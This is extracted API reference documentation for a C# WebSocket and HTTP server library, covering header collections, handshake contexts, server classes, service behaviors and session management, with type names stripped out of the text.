- - Removes the specified request from the collection. - - - One of the enum values, represents - the request header to remove. - - - is a restricted header. - - - The current instance doesn't allow - the request . - - - - - Removes the specified response from the collection. - - - One of the enum values, represents - the response header to remove. - - - is a restricted header. - - - The current instance doesn't allow - the response . - - - - - Removes the specified header from the collection. - - - A that represents the name of the header to remove. - - - is or empty. - - - - contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The current instance doesn't allow - the header . - - - - - Sets the specified request to the specified value. - - - One of the enum values, represents - the request header to set. - - - A that represents the value of the request header to set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the request . - - - - - Sets the specified response to the specified value. - - - One of the enum values, represents - the response header to set. - - - A that represents the value of the response header to set. - - - - is a restricted header. - - - -or- - - - contains invalid characters. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the response . - - - - - Sets the specified header to the specified value. - - - A that represents the name of the header to set. - - - A that represents the value of the header to set. - - - is or empty. - - - - or contains invalid characters. - - - -or- - - - is a restricted header name. - - - - The length of is greater than 65,535 characters. - - - The current instance doesn't allow - the header . - - - - - Converts the current to an array of . - - - An array of that receives the converted current - . - - - - - Returns a that represents the current - . - - - A that represents the current . - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - is . - - - - - Provides the properties used to access the information in - a WebSocket handshake request received by the . - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Returns a that represents - the current . - - - A that represents - the current . - - - - - Provides the properties used to access the information in - a WebSocket handshake request received by the . - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Returns a that represents - the current . - - - A that represents - the current . - - - - - Exposes the properties used to access the information in a WebSocket handshake request. - - - This class is an abstract class. - - - - - Initializes a new instance of the class. - - - - - Gets the HTTP cookies included in the request. - - - A that contains the cookies. - - - - - Gets the HTTP headers included in the request. - - - A that contains the headers. - - - - - Gets the value of the Host header included in the request. - - - A that represents the value of the Host header. - - - - - Gets a value indicating whether the client is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the client connected from the local computer. - - - true if the client connected from the local computer; otherwise, false. - - - - - Gets a value indicating whether the WebSocket connection is secured. - - - true if the connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket handshake request. - - - true if the request is a WebSocket handshake request; otherwise, false. - - - - - Gets the value of the Origin header included in the request. - - - A that represents the value of the Origin header. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the URI requested by the client. - - - A that represents the requested URI. - - - - - Gets the value of the Sec-WebSocket-Key header included in the request. - - - This property provides a part of the information used by the server to prove that - it received a valid WebSocket handshake request. - - - A that represents the value of the Sec-WebSocket-Key header. - - - - - Gets the values of the Sec-WebSocket-Protocol header included in the request. - - - This property represents the subprotocols requested by the client. - - - An instance that provides - an enumerator which supports the iteration over the values of the Sec-WebSocket-Protocol - header. - - - - - Gets the value of the Sec-WebSocket-Version header included in the request. - - - This property represents the WebSocket protocol version. - - - A that represents the value of the Sec-WebSocket-Version header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Indicates the WebSocket frame type. - - - The values of this enumeration are defined in - - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates continuation frame. - - - - - Equivalent to numeric value 1. Indicates text frame. - - - - - Equivalent to numeric value 2. Indicates binary frame. - - - - - Equivalent to numeric value 8. Indicates connection close frame. - - - - - Equivalent to numeric value 9. Indicates ping frame. - - - - - Equivalent to numeric value 10. Indicates pong frame. - - - - - Represents the empty payload data. - - - - - Represents the allowable max length. - - - - A will occur if the payload data length is - greater than the value of this field. - - - If you would like to change the value, you must set it to a value between - WebSocket.FragmentLength and Int64.MaxValue inclusive. - - - - - - Indicates whether each RSV (RSV1, RSV2, and RSV3) of a WebSocket frame is non-zero. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates zero. - - - - - Equivalent to numeric value 1. Indicates non-zero. - - - - - Represents the event data for the HTTP request events of - the . - - - - An HTTP request event occurs when the - receives an HTTP request. - - - You should access the property if you would - like to get the request data sent from a client. - - - And you should access the property if you would - like to get the response data to return to the client. - - - - - - Gets the request data sent from a client. - - - A that provides the methods and - properties for the request data. - - - - - Gets the response data to return to the client. - - - A that provides the methods and - properties for the response data. - - - - - Gets the information for the client. - - - - A instance or - if not authenticated. - - - That instance describes the identity, authentication scheme, - and security roles for the client. - - - - - - Reads the specified file from the document folder of - the . - - - - An array of or - if it fails. - - - That array receives the contents of the file. - - - - A that represents a virtual path to - find the file from the document folder. - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Tries to read the specified file from the document folder of - the . - - - true if it succeeds to read; otherwise, false. - - - A that represents a virtual path to - find the file from the document folder. - - - - When this method returns, an array of or - if it fails. - - - That array receives the contents of the file. - - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Provides a simple HTTP server that allows to accept - WebSocket handshake requests. - - - This class can provide multiple WebSocket services. - - - - - Initializes a new instance of the class. - - - The new instance listens for incoming requests on - and port 80. - - - - - Initializes a new instance of the class with - the specified . - - - - The new instance listens for incoming requests on - and . - - - It provides secure connections if is 443. - - - - An that represents the number of the port - on which to listen. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified . - - - - The new instance listens for incoming requests on the IP address of the - host of and the port of . - - - Either port 80 or 443 is used if includes - no port. Port 443 is used if the scheme of - is https; otherwise, port 80 is used. - - - The new instance provides secure connections if the scheme of - is https. - - - - A that represents the HTTP URL of the server. - - - is . - - - - is empty. - - - -or- - - - is invalid. - - - - - - Initializes a new instance of the class with - the specified and . - - - The new instance listens for incoming requests on - and . - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified and . - - - - The new instance listens for incoming requests on - and . - - - It provides secure connections if is 443. - - - - A that represents - the local IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified , , - and . - - - The new instance listens for incoming requests on - and . - - - A that represents - the local IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Gets the IP address of the server. - - - A that represents the local - IP address on which to listen for incoming requests. - - - - - Gets or sets the scheme used to authenticate the clients. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - One of the - enum values. - - - It represents the scheme used to authenticate the clients. - - - The default value is - . - - - - - - Gets or sets the path to the document folder of the server. - - - - '/' or '\' is trimmed from the end of the value if any. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - A that represents a path to the folder - from which to find the requested file. - - - The default value is "./Public". - - - - The value specified for a set operation is . - - - - The value specified for a set operation is an empty string. - - - -or- - - - The value specified for a set operation is an invalid path string. - - - -or- - - - The value specified for a set operation is an absolute root. - - - - - - Gets a value indicating whether the server has started. - - - true if the server has started; otherwise, false. - - - - - Gets a value indicating whether the server provides - secure connections. - - - true if the server provides secure connections; - otherwise, false. - - - - - Gets or sets a value indicating whether the server cleans up - the inactive sessions periodically. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - true if the server cleans up the inactive sessions - every 60 seconds; otherwise, false. - - - The default value is true. - - - - - - Gets the logging function for the server. - - - The default logging level is . - - - A that provides the logging function. - - - - - Gets the port of the server. - - - An that represents the number of the port - on which to listen for incoming requests. - - - - - Gets or sets the realm used for authentication. - - - - "SECRET AREA" is used as the realm if the value is - or an empty string. - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A or by default. - - - That string represents the name of the realm. - - - - - - Gets or sets a value indicating whether the server is allowed to - be bound to an address that is already in use. - - - - You should set this property to true if you would - like to resolve to wait for socket in TIME_WAIT state. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - true if the server is allowed to be bound to an address - that is already in use; otherwise, false. - - - The default value is false. - - - - - - Gets the configuration for secure connections. - - - This configuration will be referenced when attempts to start, - so it must be configured before the start method is called. - - - A that represents - the configuration used to provide secure connections. - - - This instance does not provide secure connections. - - - - - Gets or sets the delegate used to find the credentials - for an identity. - - - - No credentials are found if the method invoked by - the delegate returns or - the value is . - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A Func<, - > delegate or - if not needed. - - - That delegate invokes the method called for finding - the credentials used to authenticate a client. - - - The default value is . - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - A to wait for the response. - - - The default value is the same as 1 second. - - - - The value specified for a set operation is zero or less. - - - - - Gets the management function for the WebSocket services - provided by the server. - - - A that manages - the WebSocket services provided by the server. - - - - - Occurs when the server receives an HTTP CONNECT request. - - - - - Occurs when the server receives an HTTP DELETE request. - - - - - Occurs when the server receives an HTTP GET request. - - - - - Occurs when the server receives an HTTP HEAD request. - - - - - Occurs when the server receives an HTTP OPTIONS request. - - - - - Occurs when the server receives an HTTP PATCH request. - - - - - Occurs when the server receives an HTTP POST request. - - - - - Occurs when the server receives an HTTP PUT request. - - - - - Occurs when the server receives an HTTP TRACE request. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - A Func<TBehavior> delegate. - - - It invokes the method called for creating - a new session instance for the service. - - - The method must create a new instance of - the specified behavior class and return it. - - - - - The type of the behavior for the service. - - - It must inherit the class. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior and - . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - The type of the behavior for the service. - - - It must inherit the class and - must have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehaviorWithNew> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - - The type of the behavior for the service. - - - It must inherit the class and - must have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Gets the contents of the specified file from the document - folder of the server. - - - - An array of or - if it fails. - - - That array represents the contents of the file. - - - - A that represents a virtual path to - find the file from the document folder. - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Starts receiving incoming requests. - - - This method does nothing if the server has already started or - it is shutting down. - - - - There is no server certificate for secure connections. - - - -or- - - - The underlying has failed to start. - - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - A that represents the status code - indicating the reason for the WebSocket connection close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for - the WebSocket connection close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - One of the enum values. - - - It represents the status code indicating the reason for - the WebSocket connection close. - - - - - A that represents the reason for - the WebSocket connection close. - - - The size must be 123 bytes or less in UTF-8. - - - - The size of is greater than 123 bytes. - - - - is - . - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Exposes the properties used to access the information in a session in a WebSocket service. - - - - - Gets the information in the connection request to the WebSocket service. - - - A that provides the access to the connection request. - - - - - Gets the unique ID of the session. - - - A that represents the unique ID of the session. - - - - - Gets the WebSocket subprotocol used in the session. - - - A that represents the subprotocol if any. - - - - - Gets the time that the session has started. - - - A that represents the time that the session has started. - - - - - Gets the state of the used in the session. - - - One of the enum values, indicates the state of - the used in the session. - - - - - Exposes the methods and properties used to define the behavior of a WebSocket service - provided by the or . - - - The WebSocketBehavior class is an abstract class. - - - - - Initializes a new instance of the class. - - - - - Gets the logging functions. - - - A that provides the logging functions, - or if the WebSocket connection isn't established. - - - - - Gets the access to the sessions in the WebSocket service. - - - A that provides the access to the sessions, - or if the WebSocket connection isn't established. - - - - - Gets the information in a handshake request to the WebSocket service. - - - A instance that provides the access to the handshake request, - or if the WebSocket connection isn't established. - - - - - Gets or sets the delegate called to validate the HTTP cookies included in - a handshake request to the WebSocket service. - - - This delegate is called when the used in a session validates - the handshake request. - - - - A Func<CookieCollection, CookieCollection, bool> delegate that references - the method(s) used to validate the cookies. - - - 1st parameter passed to this delegate contains - the cookies to validate if any. - - - 2nd parameter passed to this delegate receives - the cookies to send to the client. - - - This delegate should return true if the cookies are valid. - - - The default value is , and it does nothing to validate. - - - - - - Gets or sets a value indicating whether the used in a session emits - a event when receives a Ping. - - - true if the emits a event - when receives a Ping; otherwise, false. The default value is false. - - - - - Gets the unique ID of a session. - - - A that represents the unique ID of the session, - or if the WebSocket connection isn't established. - - - - - Gets or sets a value indicating whether the WebSocket service ignores - the Sec-WebSocket-Extensions header included in a handshake request. - - - true if the WebSocket service ignores the extensions requested from - a client; otherwise, false. The default value is false. - - - - - Gets or sets the delegate called to validate the Origin header included in - a handshake request to the WebSocket service. - - - This delegate is called when the used in a session validates - the handshake request. - - - - A Func<string, bool> delegate that references the method(s) used to - validate the origin header. - - - parameter passed to this delegate represents the value of - the origin header to validate if any. - - - This delegate should return true if the origin header is valid. - - - The default value is , and it does nothing to validate. - - - - - - Gets or sets the WebSocket subprotocol used in the WebSocket service. - - - Set operation of this property is available before the WebSocket connection has - been established. - - - - A that represents the subprotocol if any. - The default value is . - - - The value to set must be a token defined in - RFC 2616. - - - - - - Gets the time that a session has started. - - - A that represents the time that the session has started, - or if the WebSocket connection isn't established. - - - - - Gets the state of the used in a session. - - - One of the enum values, indicates the state of - the . - - - - - Calls the method with the specified and - . - - - This method doesn't call the method if is - or empty. - - - A that represents the error message. - - - An instance that represents the cause of the error if any. - - - - - Called when the WebSocket connection used in a session has been closed. - - - A that represents the event data passed to - a event. - - - - - Called when the used in a session gets an error. - - - A that represents the event data passed to - a event. - - - - - Called when the used in a session receives a message. - - - A that represents the event data passed to - a event. - - - - - Called when the WebSocket connection used in a session has been established. - - - - - Sends binary to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - An array of that represents the binary data to send. - - - - - Sends the specified as binary data to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - A that represents the file to send. - - - - - Sends text to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - A that represents the text data to send. - - - - - Sends binary asynchronously to the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - An array of that represents the binary data to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends the specified as binary data asynchronously to - the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A that represents the file to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends text asynchronously to the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A that represents the text data to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends binary data from the specified asynchronously to - the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A from which contains the binary data to send. - - - An that represents the number of bytes to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Provides a WebSocket protocol server. - - - This class can provide multiple WebSocket services. - - - - - Initializes a new instance of the class. - - - The new instance listens for incoming handshake requests on - and port 80. - - - - - Initializes a new instance of the class - with the specified . - - - - The new instance listens for incoming handshake requests on - and . - - - It provides secure connections if is 443. - - - - An that represents the number of the port - on which to listen. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified . - - - - The new instance listens for incoming handshake requests on - the IP address of the host of and - the port of . - - - Either port 80 or 443 is used if includes - no port. Port 443 is used if the scheme of - is wss; otherwise, port 80 is used. - - - The new instance provides secure connections if the scheme of - is wss. - - - - A that represents the WebSocket URL of the server. - - - is . - - - - is an empty string. - - - -or- - - - is invalid. - - - - - - Initializes a new instance of the class - with the specified and . - - - The new instance listens for incoming handshake requests on - and . - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified and . - - - - The new instance listens for incoming handshake requests on - and . - - - It provides secure connections if is 443. - - - - A that represents the local - IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified , , - and . - - - The new instance listens for incoming handshake requests on - and . - - - A that represents the local - IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Gets the IP address of the server. - - - A that represents the local - IP address on which to listen for incoming handshake requests. - - - - - Gets or sets a value indicating whether the server accepts every - handshake request without checking the request URI. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - true if the server accepts every handshake request without - checking the request URI; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the scheme used to authenticate the clients. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - One of the - enum values. - - - It represents the scheme used to authenticate the clients. - - - The default value is - . - - - - - - Gets a value indicating whether the server has started. - - - true if the server has started; otherwise, false. - - - - - Gets a value indicating whether the server provides - secure connections. - - - true if the server provides secure connections; - otherwise, false. - - - - - Gets or sets a value indicating whether the server cleans up - the inactive sessions periodically. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - true if the server cleans up the inactive sessions every - 60 seconds; otherwise, false. - - - The default value is true. - - - - - - Gets the logging function for the server. - - - The default logging level is . - - - A that provides the logging function. - - - - - Gets the port of the server. - - - An that represents the number of the port - on which to listen for incoming handshake requests. - - - - - Gets or sets the realm used for authentication. - - - - "SECRET AREA" is used as the realm if the value is - or an empty string. - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A or by default. - - - That string represents the name of the realm. - - - - - - Gets or sets a value indicating whether the server is allowed to - be bound to an address that is already in use. - - - - You should set this property to true if you would - like to resolve to wait for socket in TIME_WAIT state. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - true if the server is allowed to be bound to an address - that is already in use; otherwise, false. - - - The default value is false. - - - - - - Gets the configuration for secure connections. - - - This configuration will be referenced when attempts to start, - so it must be configured before the start method is called. - - - A that represents - the configuration used to provide secure connections. - - - This instance does not provide secure connections. - - - - - Gets or sets the delegate used to find the credentials - for an identity. - - - - No credentials are found if the method invoked by - the delegate returns or - the value is . - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A Func<, - > delegate or - if not needed. - - - That delegate invokes the method called for finding - the credentials used to authenticate a client. - - - The default value is . - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - A to wait for the response. - - - The default value is the same as 1 second. - - - - The value specified for a set operation is zero or less. - - - - - Gets the management function for the WebSocket services - provided by the server. - - - A that manages - the WebSocket services provided by the server. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - A Func<TBehavior> delegate. - - - It invokes the method called for creating a new session - instance for the service. - - - The method must create a new instance of the specified - behavior class and return it. - - - - - The type of the behavior for the service. - - - It must inherit the class. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior and - . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - The type of the behavior for the service. - - - It must inherit the class and - have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehaviorWithNew> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - - The type of the behavior for the service. - - - It must inherit the class and - have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Starts receiving incoming handshake requests. - - - This method does nothing if the server has already started or - it is shutting down. - - - - There is no server certificate for secure connections. - - - -or- - - - The underlying has failed to start. - - - - - - Stops receiving incoming handshake requests and closes - each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - The underlying has failed to stop. - - - - - Stops receiving incoming handshake requests and closes each - connection with the specified and - . - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The underlying has failed to stop. - - - - - Stops receiving incoming handshake requests and closes each - connection with the specified and - . - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - The underlying has failed to stop. - - - - - Exposes the methods and properties used to access the information in - a WebSocket service provided by the or - . - - - This class is an abstract class. - - - - - Initializes a new instance of the class - with the specified and . - - - A that represents the absolute path to the service. - - - A that represents the logging function for the service. - - - - - Gets the logging function for the service. - - - A that provides the logging function. - - - - - Gets or sets a value indicating whether the service cleans up - the inactive sessions periodically. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - true if the service cleans up the inactive sessions every - 60 seconds; otherwise, false. - - - - - Gets the path to the service. - - - A that represents the absolute path to - the service. - - - - - Gets the management function for the sessions in the service. - - - A that manages the sessions in - the service. - - - - - Gets the of the behavior of the service. - - - A that represents the type of the behavior of - the service. - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Creates a new session for the service. - - - A instance that represents - the new session. - - - - - Provides the management function for the WebSocket services. - - - This class manages the WebSocket services provided by - the or . - - - - - Gets the number of the WebSocket services. - - - An that represents the number of the services. - - - - - Gets the host instances for the WebSocket services. - - - - An IEnumerable<WebSocketServiceHost> instance. - - - It provides an enumerator which supports the iteration over - the collection of the host instances. - - - - - - Gets the host instance for a WebSocket service with - the specified . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - - A instance or - if not found. - - - That host instance provides the function to access - the information in the service. - - - - A that represents an absolute path to - the service to find. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Gets or sets a value indicating whether the inactive sessions in - the WebSocket services are cleaned up periodically. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - true if the inactive sessions are cleaned up every 60 seconds; - otherwise, false. - - - - - Gets the paths for the WebSocket services. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the paths. - - - - - - Gets the total number of the sessions in the WebSocket services. - - - An that represents the total number of - the sessions in the services. - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehavior> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - The type of the behavior for the service. It must inherit - the class and it must have - a public parameterless constructor. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Sends to every client in the WebSocket services. - - - An array of that represents the binary data to send. - - - The current state of the manager is not Start. - - - is . - - - - - Sends to every client in the WebSocket services. - - - A that represents the text data to send. - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends asynchronously to every client in - the WebSocket services. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - - Sends asynchronously to every client in - the WebSocket services. - - - This method does not 